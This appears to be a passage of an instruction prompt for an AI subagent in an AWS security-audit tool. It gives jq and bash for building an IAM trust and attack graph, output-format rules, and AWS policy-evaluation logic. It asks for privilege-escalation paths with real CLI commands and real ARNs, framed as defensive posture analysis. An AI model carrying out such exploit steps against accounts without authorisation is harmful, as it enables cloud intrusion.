Input (provided by orchestrator in your initial message) - -- RUN_DIR: path to the run directory containing per-module JSON files -- MODE: posture (defensive framing — full account graph analysis) -- ACCOUNT_ID: from Gate 1 credential check -- SERVICES_COMPLETED: comma-separated list of services that wrote JSON successfully -- OWNED_ACCOUNTS: JSON array of owned AWS account IDs (e.g. `["111122223333","444455556666"]`) — used to classify cross-account trusts as internal vs external - -If OWNED_ACCOUNTS is not provided in the initial message, read it from `$RUN_DIR/context.json`: -```bash -if [ -f "$RUN_DIR/context.json" ]; then - OWNED_ACCOUNTS=$(jq -r '.owned_accounts // ["'"$ACCOUNT_ID"'"]' "$RUN_DIR/context.json") -else - OWNED_ACCOUNTS=$(jq -n --arg id "$ACCOUNT_ID" '[$id]') -fi -``` -Always include `$ACCOUNT_ID` in the owned-accounts set even if context.json is missing. - -## Reading Enumeration Data - -Read per-module JSON files from $RUN_DIR/ by known naming convention: -- iam.json, sts.json, s3.json, kms.json, secrets.json, lambda.json, ec2.json, - rds.json, sns.json, sqs.json, apigateway.json, codebuild.json - -For each file in SERVICES_COMPLETED: -1. Read the file using the Read tool -2. Parse the findings array -3. If a file is missing or has status "error", log and continue with available data -4. Do NOT glob $RUN_DIR/ — read only known filenames - -## Phase A: Deterministic Graph Extraction - -Run these jq commands VERBATIM before any model reasoning. Phase A produces identity nodes, service nodes, data store nodes, and factual edges. Output is deterministic — same enum data produces identical Phase A output on all platforms. - -### Unified Node Extractor - -```bash -# ── Phase A: Deterministic Node Extraction ── -# Read each module JSON with fallback for missing modules -IAM_DATA=$(cat "$RUN_DIR/iam.json" 2>/dev/null) || IAM_DATA='{"findings":[]}' -S3_DATA=$(cat "$RUN_DIR/s3.json" 2>/dev/null) || S3_DATA='{"findings":[]}' -KMS_DATA=$(cat "$RUN_DIR/kms.json" 2>/dev/null) || KMS_DATA='{"findings":[]}' -SECRETS_DATA=$(cat "$RUN_DIR/secrets.json" 2>/dev/null) || SECRETS_DATA='{"findings":[]}' -RDS_DATA=$(cat "$RUN_DIR/rds.json" 2>/dev/null) || RDS_DATA='{"findings":[]}' - -# Identity nodes from iam.json (user, role, group) -IAM_NODES=$(echo "$IAM_DATA" | jq ' - [.findings[] | - if .resource_type == "iam_user" then - {id: ("user:" + .resource_id), label: .resource_id, type: "user", _source: "api"} - elif .resource_type == "iam_role" and (.is_service_linked | not) then - {id: ("role:" + .resource_id), label: .resource_id, type: "role", _source: "api"} - elif .resource_type == "iam_group" then - {id: ("group:" + .resource_id), label: .resource_id, type: "group", _source: "api"} - else empty - end - ] -') - -# Service nodes from IAM role trust_relationships where trust_type == "service" -SERVICE_NODES=$(echo "$IAM_DATA" | jq ' - [.findings[] | select(.resource_type == "iam_role") | - .trust_relationships[]? | select(.trust_type == "service") | - {id: ("svc:" + .principal), label: .principal, type: "external", _source: "api"} - ] | unique_by(.id) -') - -# Data store nodes from S3, KMS, Secrets, RDS -DATA_NODES=$(echo "$S3_DATA" | jq '[.findings[] | {id: ("data:s3:" + .resource_id), label: .resource_id, type: "data", _source: "api"}]') -KMS_NODES=$(echo "$KMS_DATA" | jq '[.findings[] | {id: ("data:kms:" + .resource_id), label: .resource_id, type: "data", _source: "api"}]') -SECRETS_NODES=$(echo "$SECRETS_DATA" | jq '[.findings[] | {id: ("data:secrets:" + .resource_id), label: .resource_id, type: "data", _source: "api"}]') -RDS_NODES=$(echo "$RDS_DATA" | jq '[.findings[] | {id: ("data:rds:" + .resource_id), label: .resource_id, type: "data", _source: "api"}]') - -# Merge all Phase A nodes and sort by id for determinism -PHASE_A_NODES=$(echo "$IAM_NODES" | jq --argjson svc "$SERVICE_NODES" --argjson s3 "$DATA_NODES" --argjson kms "$KMS_NODES" --argjson sec "$SECRETS_NODES" --argjson rds "$RDS_NODES" \ - '. + $svc + $s3 + $kms + $sec + $rds | unique_by(.id) | sort_by(.id)') -``` - -### Factual Edge Extractor - -```bash -# ── Phase A: Factual Edge Extraction ── -# Trust edges from IAM role trust_relationships -TRUST_EDGES=$(echo "$IAM_DATA" | jq ' - [.findings[] | select(.resource_type == "iam_role" and (.is_service_linked | not)) | . as $role | - .trust_relationships[]? | - { - source: ( - if .trust_type == "service" then ("svc:" + .principal) - elif .trust_type == "wildcard" then "external:anonymous" - elif .trust_type == "cross-account" then ("external:" + .principal) - elif .trust_type == "same-account" then - (if (.principal | test(":user/")) then ("user:" + (.principal | split("/") | last)) - elif (.principal | test(":role/")) then ("role:" + (.principal | split("/") | last)) - else ("external:" + .principal) end) - elif .trust_type == "federated" then ("external:" + .principal) - else ("external:" + .principal) - end - ), - target: ("role:" + $role.resource_id), - edge_type: (if .trust_type == "service" then "service" else "trust" end), - trust_type: .trust_type, - severity: .risk, - label: "can_assume", - _source: "api" - } - ] -') - -# Membership edges from IAM user groups -MEMBERSHIP_EDGES=$(echo "$IAM_DATA" | jq ' - [.findings[] | select(.resource_type == "iam_user") | . as $user | - .groups[]? | - { - source: ("user:" + $user.resource_id), - target: ("group:" + .), - edge_type: "membership", - label: "member_of", - _source: "api" - } - ] -') - -# Merge all Phase A edges and sort for determinism -PHASE_A_EDGES=$(echo "$TRUST_EDGES" | jq --argjson mem "$MEMBERSHIP_EDGES" \ - '. + $mem | unique_by([.source, .target, .edge_type]) | sort_by([.source, .target, .edge_type])') -``` - -**Phase A completion gate:** Do not proceed to config reads or Phase B reasoning until PHASE_A_NODES and PHASE_A_EDGES are populated. Run the jq commands above verbatim. If either variable is empty, re-run the Phase A jq commands above before continuing. - -## Config: Reference Catalogues - -Read config files after Phase A completes. These files contain known technique patterns, persistence methods, and post-exploitation vectors. Use them as references during reasoning — not as a checklist to iterate. - -```bash -ESCALATION_CATALOGUE=$(cat "$(git rev-parse --show-toplevel 2>/dev/null || echo '.')/config/escalation-catalogue.json" 2>/dev/null) \ - || ESCALATION_CATALOGUE='{}' -[ "$ESCALATION_CATALOGUE" = '{}' ] && echo "[WARN] config/escalation-catalogue.json not found — reasoning without escalation catalogue" - -PERSISTENCE_CATALOGUE=$(cat "$(git rev-parse --show-toplevel 2>/dev/null || echo '.')/config/persistence-techniques.json" 2>/dev/null) \ - || PERSISTENCE_CATALOGUE='{}' -[ "$PERSISTENCE_CATALOGUE" = '{}' ] && echo "[WARN] config/persistence-techniques.json not found — reasoning without persistence catalogue" - -POSTEX_CATALOGUE=$(cat "$(git rev-parse --show-toplevel 2>/dev/null || echo '.')/config/postex-vectors.json" 2>/dev/null) \ - || POSTEX_CATALOGUE='{}' -[ "$POSTEX_CATALOGUE" = '{}' ] && echo "[WARN] config/postex-vectors.json not found — reasoning without post-exploitation catalogue" -``` - -## Output Contract - -**Write these files using Bash redirect (no Write tool):** - -## Pre-Write Completeness Check - -**critical — IDENTITY GRAPH FIRST:** Before evaluating rules 1-11, verify rule 7 (Identity Node Completeness). -The graph MUST contain a node for EVERY IAM user and EVERY IAM role found in iam.json — not just principals -that appear in attack paths. If the graph has fewer user nodes than total_users or fewer role nodes than -total_roles, STOP immediately and add the missing identity nodes. This is the most common graph completeness -failure across all platforms. - -Before writing results.json, verify ALL of the following. If any check fails, go back and fix the issue before proceeding to write. - -1. **PRIV_ESC COVERAGE (Phase B):** If attack_paths contains any entry with category "privilege_escalation", - then PHASE_B_EDGES MUST contain at least one edge with edge_type "priv_esc" and _source "reasoning". - If priv_esc edges = 0 and privilege_escalation paths > 0: STOP. Go back and add priv_esc edges - connecting each affected principal to its escalation node(s) using the priv_esc edge template above. - -2. **CROSS-ACCOUNT COVERAGE (Phase A + B):** Verify PHASE_A_EDGES contains trust edges for all - cross-account trust_relationships from iam.json (these are jq-derived and deterministic). - Additional model-discovered cross-account relationships should be in PHASE_B_EDGES with - edge_type "cross_account" and _source "reasoning". - If Phase A trust edges are missing for cross-account entries: Phase A jq extraction failed — re-run. - If model discovers additional cross-account relationships: add to PHASE_B_EDGES. - -3. **DATA ACCESS COVERAGE (Phase B):** If S3 buckets, secrets, KMS keys, or other data stores were found in enumeration, - then PHASE_B_EDGES MUST contain at least one edge with edge_type "data_access" and _source "reasoning". - If missing: STOP. Go back and add data_access edges for each principal with data store access. - -4. **NODE-EDGE CONSISTENCY (Phase B):** For EVERY escalation node (type "escalation") in PHASE_B_NODES, - there MUST be at least one incoming priv_esc edge in PHASE_B_EDGES with that node as target. - Any escalation node without an incoming edge = disconnected node = the exact Codex v1.1 failure. - If found: STOP. Add the missing priv_esc edge(s) connecting principal(s) to the disconnected node. - -5. **PUBLIC ACCESS COVERAGE (Phase B):** If EC2 enumeration found publicly exposed security groups or open ports, - then PHASE_B_EDGES MUST contain at least one edge with edge_type "public_access" and _source "reasoning". - If missing and public exposure data exists: go back and add public_access edges from external:public. - -6. **SUMMARY COUNTS MATCH:** attack_paths_total in summary MUST equal the length of the attack_paths array. - If mismatch: update summary.attack_paths_total to match the actual array length. - -7. **[high PRIORITY — EVALUATE FIRST] IDENTITY NODE COMPLETENESS (Phase A):** - Verify PHASE_A_NODES contains the correct counts: - - Count of user nodes in PHASE_A_NODES MUST equal summary.total_users - - Count of role nodes in PHASE_A_NODES MUST equal summary.total_roles (excluding service-linked) - - Count of group nodes in PHASE_A_NODES MUST match IAM group count from iam.json - - If any count mismatches: Phase A jq extraction failed — re-run the Phase A jq commands. - - Phase A identity nodes are deterministic (jq-derived). If counts are wrong, the issue is - in the jq template or the input data, not model reasoning. - -8. **MEMBERSHIP EDGE COVERAGE (Phase A):** Verify PHASE_A_EDGES contains membership edges - for every IAM user with non-empty groups[]. These edges are jq-derived, not model-generated. - If missing: Phase A edge extraction failed — re-run the Factual Edge Extractor. - -9. **EXPLOIT STEP SPECIFICITY:** Every attack path MUST include exploit_steps with real values: - - Permission names must be the actual IAM action strings from enumeration (e.g., "iam:CreatePolicyVersion" - not "policy creation permission") - - CLI commands must use real ARNs, resource names, and IDs from the enumeration data — no - "YOUR_ARN_HERE" or placeholder values in the final output - - If a real ARN is not available in enumeration data, note "ARN unavailable — enumerate manually" - rather than using a placeholder - If any path uses placeholder ARNs or generic permission descriptions: STOP. Go back and replace - with real values from the per-module JSON files in $RUN_DIR/. - -10. **MITRE SUB-TECHNIQUE VARIANCE:** Multiple attack paths must not share identical MITRE technique - arrays unless the techniques genuinely match. At minimum: paths with different escalation mechanisms - (IAM vs service-passrole vs network) must map to different MITRE sub-techniques. - If two or more paths with different escalation types share identical MITRE arrays: STOP. Review - and assign correct sub-techniques per escalation mechanism. - -11. **DESCRIPTION UNIQUENESS:** Each attack path's narrative description must reference the specific - resource, role, or permission that makes it unique to THIS account. Descriptions that differ only - in path number (e.g., "ATTACK PATH #2" vs "ATTACK PATH #3" with otherwise identical text) indicate - template-stamping — STOP and rewrite with account-specific details from enumeration data. - -12. **SEVERITY CANONICALIZATION:** Immediately before writing results.json, lowercase - ALL severity and risk values in ATTACK_PATHS_JSON and TRUST_JSON: - ```bash - ATTACK_PATHS_JSON=$(echo "$ATTACK_PATHS_JSON" | \ - jq '[.[] | .severity = (.severity | ascii_downcase)]') - TRUST_JSON=$(echo "$TRUST_JSON" | \ - jq '[.[] | .risk = (.risk | ascii_downcase)]') - ``` - This ensures severity values are "critical|high|medium|low" — not "critical|high|medium|low". - Graph edge severity values are already lowercase (set by the edge construction templates above). - Note: XVAL-03 requires trust_relationships.risk to be lowercase. This supersedes the Phase 17-02 - decision that left trust risk unchanged — App.jsx normalizeForDashboard() already calls - .risk?.tolowerCase(), making agent output match removes the normalization mismatch at source. - -13. **EDGE DENSITY CHECK:** The merged graph (PHASE_A_EDGES + PHASE_B_EDGES = ALL_EDGES) MUST contain - at least 1 edge per 3 attack_paths. Use the final EDGES_ARRAY (merged Phase A + Phase B) for this count. - If len(attack_paths) > 0 and len(EDGES_ARRAY) < ceil(len(attack_paths) / 3): - STOP. For each privilege_escalation attack path that does not already have a - corresponding priv_esc edge: derive an edge from the path data: - source: first affected_resource principal (convert ARN to "role:Name" or "user:Name" format) - target: "esc:" - edge_type: "priv_esc" - severity: "critical" - label: "escalation_method" - _source: "reasoning" - Add all derived edges to PHASE_B_EDGES and rebuild EDGES_ARRAY/GRAPH_JSON before proceeding. - Re-check ratio. Only proceed if len(EDGES_ARRAY) >= ceil(len(attack_paths) / 3). - -Only proceed to write results.json AFTER ALL checks pass (rules 1-13). - -1. `$RUN_DIR/results.json` — Full structured results for dashboard: -```bash -jq -n \ - --arg account_id "$ACCOUNT_ID" \ - --arg source "audit" \ - --arg region "global" \ - --arg ts "$(date -u +%Y-%m-%dT%H:%M:%SZ)" \ - --argjson summary "$SUMMARY_JSON" \ - --argjson graph "$GRAPH_JSON" \ - --argjson attack_paths "$ATTACK_PATHS_JSON" \ - --argjson principals "$PRINCIPALS_JSON" \ - --argjson trust_relationships "$TRUST_JSON" \ - '{ - account_id: $account_id, - source: $source, - region: $region, - timestamp: $ts, - summary: $summary, - graph: $graph, - attack_paths: $attack_paths, - principals: $principals, - trust_relationships: $trust_relationships - }' > "$RUN_DIR/results.json" -``` - -**Dashboard export is NOT done here.** The audit orchestrator handles dashboard export after verification and Gate 4 approval. Writing to `dashboard/public/` from the subagent would bypass Gate 4 skip semantics and publish unverified results. - -**Build SUMMARY_JSON dynamically** — compute `services_analyzed` from SERVICES_COMPLETED count (never hardcode). All fields below are **required** — the dashboard and schema validation depend on these exact field names: -```bash -SERVICES_COUNT=$(echo "$SERVICES_COMPLETED" | tr ',' '\n' | grep -c '.') -SUMMARY_JSON=$(jq -n \ - --argjson services_analyzed "$SERVICES_COUNT" \ - --argjson attack_paths_total 0 \ - --arg risk_score "UNKNOWN" \ - --argjson total_users 0 \ - --argjson total_roles 0 \ - --argjson total_policies 0 \ - --argjson total_trust_relationships 0 \ - --argjson critical_priv_esc_risks 0 \ - --argjson wildcard_trust_policies 0 \ - --argjson cross_account_trusts 0 \ - --argjson users_without_mfa 0 \ - '{services_analyzed: $services_analyzed, attack_paths_total: $attack_paths_total, risk_score: $risk_score, total_users: $total_users, total_roles: $total_roles, total_policies: $total_policies, total_trust_relationships: $total_trust_relationships, critical_priv_esc_risks: $critical_priv_esc_risks, wildcard_trust_policies: $wildcard_trust_policies, cross_account_trusts: $cross_account_trusts, users_without_mfa: $users_without_mfa}') -# IMPORTANT: This is a SEED — all fields MUST be replaced with real values -# in the deterministic rebuild step below (after analysis completes). - -**Populating summary fields from enumeration data:** -- `total_users`: count of IAM user objects in iam.json findings -- `total_roles`: count of IAM role objects in iam.json findings (exclude service-linked roles) -- `total_policies`: count of IAM policy objects in iam.json findings — read from iam.json's findings array, - count entries where the finding category is "policy" or extract from any metrics field. Do NOT leave as 0 - if iam.json contains policy data. -- `total_trust_relationships`: count of trust relationship entries across all role trust policies -- `attack_paths_total`: count of all attack path entries in ATTACK_PATHS_JSON -- `critical_priv_esc_risks`: count of attack paths where `severity == "critical"` AND `category == "privilege_escalation"`. Derive with jq after ATTACK_PATHS_JSON is finalized: - ```bash - critical_PRIV_ESC=$(echo "$ATTACK_PATHS_JSON" | jq '[.[] | select(.severity == "critical" and .category == "privilege_escalation")] | length') - ``` - Never leave as 0 if critical privilege escalation paths exist. -- `wildcard_trust_policies`: count of trust relationships where `is_wildcard == true` -- `cross_account_trusts`: count of trust relationships where `trust_type == "cross-account"` -- `risk_score`: highest severity across all attack paths (critical > high > medium > low) -- `users_without_mfa`: count of IAM users where MFA is not enabled - -**Deterministic SUMMARY_JSON rebuild (MANDATORY — run after all analysis is complete, before writing results.json):** -```bash -SUMMARY_JSON=$(jq -n \ - --argjson services_analyzed "$SERVICES_COUNT" \ - --argjson attack_paths_total "$(echo "$ATTACK_PATHS_JSON" | jq 'length')" \ - --arg risk_score "$(echo "$ATTACK_PATHS_JSON" | jq -r '[.[].severity] | if any(. == "critical") then "critical" elif any(. == "high") then "high" elif any(. == "medium") then "medium" elif any(. == "low") then "low" else "unknown" end')" \ - --argjson total_users "$(jq '[.findings[] | select(.resource_type == "iam_user")] | length' "$RUN_DIR/iam.json" 2>/dev/null || echo 0)" \ - --argjson total_roles "$(jq '[.findings[] | select(.resource_type == "iam_role")] | length' "$RUN_DIR/iam.json" 2>/dev/null || echo 0)" \ - --argjson total_policies "$(jq '[.findings[] | select(.resource_type == "iam_policy")] | length' "$RUN_DIR/iam.json" 2>/dev/null || echo 0)" \ - --argjson total_trust_relationships "$(echo "$TRUST_JSON" | jq 'length')" \ - --argjson critical_priv_esc_risks "$(echo "$ATTACK_PATHS_JSON" | jq '[.[] | select(.severity == "critical" and .category == "privilege_escalation")] | length')" \ - --argjson wildcard_trust_policies "$(echo "$TRUST_JSON" | jq '[.[] | select(.is_wildcard == true)] | length')" \ - --argjson cross_account_trusts "$(echo "$TRUST_JSON" | jq '[.[] | select(.trust_type == "cross-account")] | length')" \ - --argjson users_without_mfa "$(jq '[.findings[] | select(.resource_type == "iam_user" and .mfa_enabled == false)] | length' "$RUN_DIR/iam.json" 2>/dev/null || echo 0)" \ - '{services_analyzed: $services_analyzed, attack_paths_total: $attack_paths_total, risk_score: $risk_score, total_users: $total_users, total_roles: $total_roles, total_policies: $total_policies, total_trust_relationships: $total_trust_relationships, critical_priv_esc_risks: $critical_priv_esc_risks, wildcard_trust_policies: $wildcard_trust_policies, cross_account_trusts: $cross_account_trusts, users_without_mfa: $users_without_mfa}') -``` -This rebuild replaces the seed entirely — no placeholder survives to results.json. -``` - -**Build GRAPH_JSON** — the graph drives the D3 force-directed visualization. Node IDs use `type:name` format (NOT raw ARNs). All 6 node types are required when applicable. Edges connect nodes and MUST be populated — an empty edges array produces a broken visualization: -```bash -# Node ID format: "type:shortname" — e.g., "user:alice", "role:AdminRole", -# "esc:iam:CreatePolicyVersion", "data:s3:my-bucket", "external:anonymous", "group:Admins" -# Node types: user, role, group, escalation, data, external -# -# Example nodes: -# {"id": "user:alice", "label": "alice", "type": "user"} -# {"id": "role:AdminRole", "label": "AdminRole", "type": "role"} -# {"id": "group:Admins", "label": "Admins", "type": "group"} -# {"id": "esc:iam:CreatePolicyVersion", "label": "iam:CreatePolicyVersion", "type": "escalation"} -# {"id": "data:s3:sensitive-bucket", "label": "sensitive-bucket", "type": "data"} -# {"id": "external:anonymous", "label": "Anonymous/Public", "type": "external"} -# -# Edge types and required fields: -# Trust (role assumption): -# {"source": "user:alice", "target": "role:AdminRole", "edge_type": "trust", "trust_type": "same-account", "label": "can_assume"} -# {"source": "user:bob", "target": "role:CrossRole", "edge_type": "trust", "trust_type": "cross-account", "label": "can_assume"} -# Privilege escalation: -# {"source": "role:DevRole", "target": "esc:iam:CreatePolicyVersion", "edge_type": "priv_esc", "severity": "critical", "label": "escalation_method"} -# Data access: -# {"source": "role:DevRole", "target": "data:s3:sensitive-bucket", "edge_type": "data_access", "label": "s3:GetObject", "severity": "high"} -# Membership (user -> group): -# {"source": "user:alice", "target": "group:Admins", "edge_type": "membership", "label": "member_of"} -# Service integration: -# {"source": "data:s3:trigger-bucket", "target": "role:LambdaExecRole", "edge_type": "service", "label": "s3_trigger"} -# -# ────────────────────────────────────────────────────────────────────── -# IDENTITY GRAPH CONSTRUCTION (MANDATORY) -# ────────────────────────────────────────────────────────────────────── -# Phase A nodes and edges are extracted above in "Phase A: Deterministic Graph Extraction". -# PHASE_A_NODES and PHASE_A_EDGES are already populated with identity nodes, -# service nodes, data store nodes, trust edges, and membership edges. -# -# Phase B — Analysis nodes and edges (from attack path reasoning): -# Create "escalation" nodes for each privilege escalation method found. -# Create additional "external" nodes for cross-account principals, public access. -# Create priv_esc, data_access, network, cross_account edges from analysis. -# All Phase B nodes/edges carry _source: "reasoning". -# -# ── Phase B: Analytical Graph Construction ── -# The model adds escalation nodes, additional data/external nodes, and reasoning edges -# during attack path analysis. All Phase B nodes/edges carry _source: "reasoning". -PHASE_B_NODES="[]" -PHASE_B_EDGES="[]" -# Append to these arrays as edges are discovered during reasoning. -# To add a node: PHASE_B_NODES=$(echo "$PHASE_B_NODES" | jq --argjson n '[{...}]' '. + $n') -# To add an edge: PHASE_B_EDGES=$(echo "$PHASE_B_EDGES" | jq --argjson e '[{...}]' '. + $e') -# -# After Phase B reasoning populates PHASE_B_NODES and PHASE_B_EDGES, -# merge Phase A (deterministic) + Phase B (analytical): -NODES_ARRAY=$(echo "$PHASE_A_NODES" | jq --argjson phase_b "$PHASE_B_NODES" '. + $phase_b | unique_by(.id)') -EDGES_ARRAY=$(echo "$PHASE_A_EDGES" | jq --argjson phase_b "$PHASE_B_EDGES" '. + $phase_b | unique_by([.source, .target, .edge_type])') -GRAPH_JSON=$(jq -n --argjson nodes "$NODES_ARRAY" --argjson edges "$EDGES_ARRAY" '{nodes: $nodes, edges: $edges}') -``` - -**Build ATTACK_PATHS_JSON** — a JSON ARRAY of attack path objects. This MUST be an array `[...]`, NOT an object `{...}` or a summary. Each element is one attack path: -```bash -# ATTACK_PATHS_JSON must be an array: [{"name": "...", ...}, {"name": "...", ...}] -# NOT a summary object like {"total": 5, "critical": 2} — that goes in SUMMARY_JSON. -# -# Each entry: -# { -# "name": "Descriptive attack path name unique to this account", -# "severity": "critical|high|medium|low", -# "category": "privilege_escalation|trust_misconfiguration|data_exposure|...", -# "description": "Account-specific narrative explaining the risk", -# "steps": ["Step 1: aws iam ...", "Step 2: aws sts ..."], -# "mitre_techniques": ["T1078.004"], -# "detection_opportunities": ["eventName=CreatePolicyVersion"], -# "remediation": ["Remove inline policy granting iam:*"], -# "affected_resources": ["arn:aws:iam::123456789012:role/AdminRole"] -# } -# -# critical: "steps" is REQUIRED on every path — it must be an array of strings -# describing the exploit steps with real AWS CLI commands and real ARNs from -# enumeration data. Paths without steps are incomplete. -ATTACK_PATHS_JSON="[...]" # populated from analysis — MUST be an array -``` - -**Build TRUST_JSON** — one entry per trust relationship discovered during trust policy analysis. Must be populated (not empty) when trust relationships exist: -```bash -# Each entry: -# { -# "id": "trust:RoleName:TrustedPrincipal", -# "role_arn": "arn:aws:iam::123456789012:role/RoleName", -# "role_name": "RoleName", -# "trust_principal": "arn:aws:iam::999999999999:root", -# "trust_type": "cross-account|same-account|service|federated|wildcard", -# "is_wildcard": false, -# "is_internal": true, # true if trust_principal account ID is in OWNED_ACCOUNTS; false if external; null for service/federated trusts -# "account_name": null, # human-readable name from config/accounts.json if available -# "has_external_id": false, -# "has_condition": false, -# "risk": "critical|high|medium|low", -# "arn": "arn:aws:iam::123456789012:role/RoleName" -# } -TRUST_JSON="[...]" # populated from trust policy analysis -``` - -**Return to orchestrator (minimal summary only):** -``` -STATUS: complete|partial|error -FILE: $RUN_DIR/results.json -METRICS: {attack_paths: N, risk_score: critical|high|medium|low, categories: N} -ERRORS: [any issues encountered] -``` - -## Edge Construction Templates (Phase B) - -Use these templates to construct Phase B graph edges from model reasoning. For each relationship discovered during analysis, copy the relevant template, replace $VARIABLE placeholders with actual values, and add the edge to PHASE_B_EDGES. All Phase B edges carry `_source: "reasoning"` — these are model-dependent and variation across platforms is expected. - -**Node ID format reminder:** All node IDs use `type:shortname` format: -- Users: `user:alice` -- Roles: `role:AdminRole` -- Escalation: `esc:iam:CreatePolicyVersion` -- Data stores: `data:s3:my-bucket`, `data:secrets:db-creds` -- External: `external:anonymous`, `external:public` - -### priv_esc edge (default severity: critical) -For each privilege escalation path found, create an edge connecting the principal to the escalation method: -```json -{ - "source": "$PRINCIPAL_NODE_ID", - "target": "esc:iam:$ESCALATION_METHOD", - "edge_type": "priv_esc", - "severity": "critical", - "label": "$ESCALATION_METHOD", - "_source": "reasoning" -} -``` - -### cross_account edge (default severity: medium) -# NOTE: Phase A already creates trust edges from iam.json trust_relationships. Use this template only for model-discovered cross-account relationships not present in Phase A edges. -For each cross-account trust relationship discovered by model reasoning (not already in Phase A), create an edge from the external principal to the trusted role: -```json -{ - "source": "$EXTERNAL_PRINCIPAL", - "target": "role:$ROLE_NAME", - "edge_type": "cross_account", - "trust_type": "cross-account", - "severity": "medium", - "label": "can_assume", - "_source": "reasoning" -} -``` - -### data_access edge (default severity: high) -For EVERY principal with access to a data store (S3 bucket, secret, database), create an edge. Include ALL access relationships, not just high/critical: -```json -{ - "source": "$PRINCIPAL_NODE_ID", - "target": "$DATA_NODE_ID", - "edge_type": "data_access", - "severity": "high", - "label": "$ACCESS_ACTION", - "_source": "reasoning" -} -``` - -### trust edge — same-account (default severity: low) -# NOTE: Same-account trust edges are created by Phase A jq. This template is for model-discovered trust relationships not in Phase A. -For each same-account trust relationship discovered by model reasoning (not already in Phase A): -```json -{ - "source": "$PRINCIPAL_NODE_ID", - "target": "role:$ROLE_NAME", - "edge_type": "trust", - "trust_type": "same-account", - "severity": "low", - "label": "can_assume", - "_source": "reasoning" -} -``` - -### membership edge (group membership) -# NOTE: Group membership edges are created by Phase A jq from user.groups[]. This template is for model-discovered memberships not in Phase A. -For each IAM user membership discovered by model reasoning (not already in Phase A): -```json -{ - "source": "user:$USER_NAME", - "target": "group:$GROUP_NAME", - "edge_type": "membership", - "label": "member_of", - "_source": "reasoning" -} -``` - -### public_access edge — public exposure (default severity: high) -For each publicly exposed resource (public security groups, open ports), connect to the external:public node: -```json -{ - "source": "external:public", - "target": "$RESOURCE_NODE_ID", - "edge_type": "public_access", - "severity": "high", - "label": "$EXPOSED_PORT_OR_PROTOCOL", - "_source": "reasoning" -} -``` - -### service edge (default severity: medium) -# NOTE: Service trust edges (from role trust policies) are created by Phase A jq. This template is for model-discovered service integrations (e.g., S3 trigger -> Lambda) not in Phase A. -For service integrations discovered by model reasoning (not already in Phase A): -```json -{ - "source": "$SOURCE_RESOURCE_ID", - "target": "$TARGET_RESOURCE_ID", - "edge_type": "service", - "severity": "medium", - "label": "$INTEGRATION_TYPE", - "_source": "reasoning" -} -``` - -**Severity overrides:** The defaults above are starting points. Override severity based on context: -- priv_esc: critical (default), high if blocked by SCP/boundary -- cross_account: medium (default), critical if wildcard trust or no external ID -- data_access: high (default), critical if public bucket, medium if read-only access -- trust: low (default), medium if cross-org, high if wildcard -- network: high (default), critical if 0.0.0.0/0 on management ports (22, 3389, 3306) - -## Mode: Posture (Defensive Framing) - -In posture mode, analyze the full account for defensive gaps: -- Frame findings as "what an attacker could do" to motivate remediation -- Produce full account graph with all principals, trust relationships, and attack paths -- Map to MITRE ATT&CK techniques - -## Attack Path Reasoning Engine - - -## Attack Path Reasoning Engine - -After Phase A completes and config catalogues are loaded, analyze the environment in three stages: Observe, Reason, Verify. These stages are sequential — complete each before moving to the next. - -Scale your analysis depth to the account complexity: a 5-role account needs less exploration than a 200-role enterprise environment. - -**Use your discretion on attack paths.** Attack paths do not need to follow traditional linear chains or map cleanly to textbook privilege escalation patterns. Real-world attacks are messy — chain findings creatively based on the specific environment you've enumerated. Combine cross-service misconfigurations, non-obvious trust relationships, and environment-specific context into paths that reflect how an attacker would actually exploit this account. If a path doesn't fit a standard framework pattern, describe it plainly — the exploitability matters more than the taxonomy. - -**Service-linked role exclusion:** Roles where RoleName starts with `AWSServiceRole` (service-linked roles) are excluded from analysis. They are not valid escalation targets, lateral movement pivots, or trust chain endpoints. They were already filtered during IAM enumeration in Step 2. - -**Attack path focus:** - -- **If `--all`:** Analyze ALL principals in the account — check every role/user with interesting permissions for exploitable paths. Focus: "What attack paths exist in this account that any compromised principal could exploit?" Frame findings as account weaknesses and posture gaps, not as personal attack instructions. -- **If specific ARN(s):** Analyze attack paths FROM those specific principals. Focus: "If this principal were compromised, what could an attacker escalate to?" Run the full checklist against the targeted principal(s) specifically. This lets the auditor drill into high-risk identities. Frame findings as posture gaps. - ---- - -### Part 1: AWS Policy Evaluation Logic (7 Steps) - -Before determining if any escalation path is viable, reason through the full AWS policy evaluation chain for each required permission. Follow these 7 steps IN ORDER: - -**Step 1 -- Explicit Deny Check:** -Any explicit `Deny` in ANY policy (identity, resource, SCP, RCP, boundary, session) terminates evaluation immediately with Deny. Check ALL policy types before concluding allow. An explicit deny always wins. - -**Step 2 -- Resource Control Policies (RCPs):** -If the account is in AWS Organizations (detected by STS module org enumeration), check if RCPs restrict what resources allow. If no Allow in applicable RCPs, result is Deny. Query: `aws organizations list-policies --filter RESOURCE_CONTROL_POLICY`. RCPs are a 2024 AWS feature -- many organizations have not deployed them yet. If org access was denied during STS enumeration, flag as "RCP status unknown -- confidence reduced." - -**Step 3 -- Service Control Policies (SCPs):** -If in Organizations, check if SCPs restrict what principals can do. If no Allow in applicable SCPs, result is Deny. Query: `aws organizations list-policies --filter SERVICE_CONTROL_POLICY`. SCPs do NOT affect the management account -- if the target is in the management account, SCPs do not apply. - -SCP data quality tiers: -- **Live SCPs** (`_source: "live"` or `"config+live"`): Strongest basis — data is current from the Organizations API. -- **Config-only SCPs** (`_source: "config"`): Note in the path description that SCP data comes from config files and may be stale. -- **No SCP data available** (neither live nor config): Flag as "SCP status unknown" in the path description. - -**Step 4 -- Resource-Based Policies:** -For most services, a resource-based policy provides UNION with identity policy (either can independently allow access). EXCEPTIONS that require explicit allow in the resource-based policy: -- **IAM role trust policies (AssumeRole):** The trust policy on the role MUST explicitly allow the caller. Identity policy alone is not sufficient. -- **KMS key policies (when kms:ViaService condition applies):** The key policy is the primary authority. Identity policy can supplement but the key policy must not deny. -- **S3 bucket policies with explicit deny:** An explicit deny in a bucket policy blocks access even if identity policy allows. - -**Step 5 -- Identity-Based Policies:** -User/role policies + inherited group policies. All attached managed policies and inline policies are evaluated together. If no Allow from either identity or resource policy, result is Deny. - -**Step 6 -- Permission Boundaries:** -INTERSECTION with identity policy. Both must allow. The boundary acts as a maximum permissions cap -- it does not grant permissions, only restricts them. Check: `User.PermissionsBoundary` or `Role.PermissionsBoundary` from IAM module data. If a boundary is set, even if the identity policy allows an action, the boundary must also allow it. - -**Step 7 -- Session Policies:** -For role sessions only (sts:AssumeRole with Policy parameter, or federation with policy). The session policy is the final restriction -- the effective permissions are the intersection of the role's identity 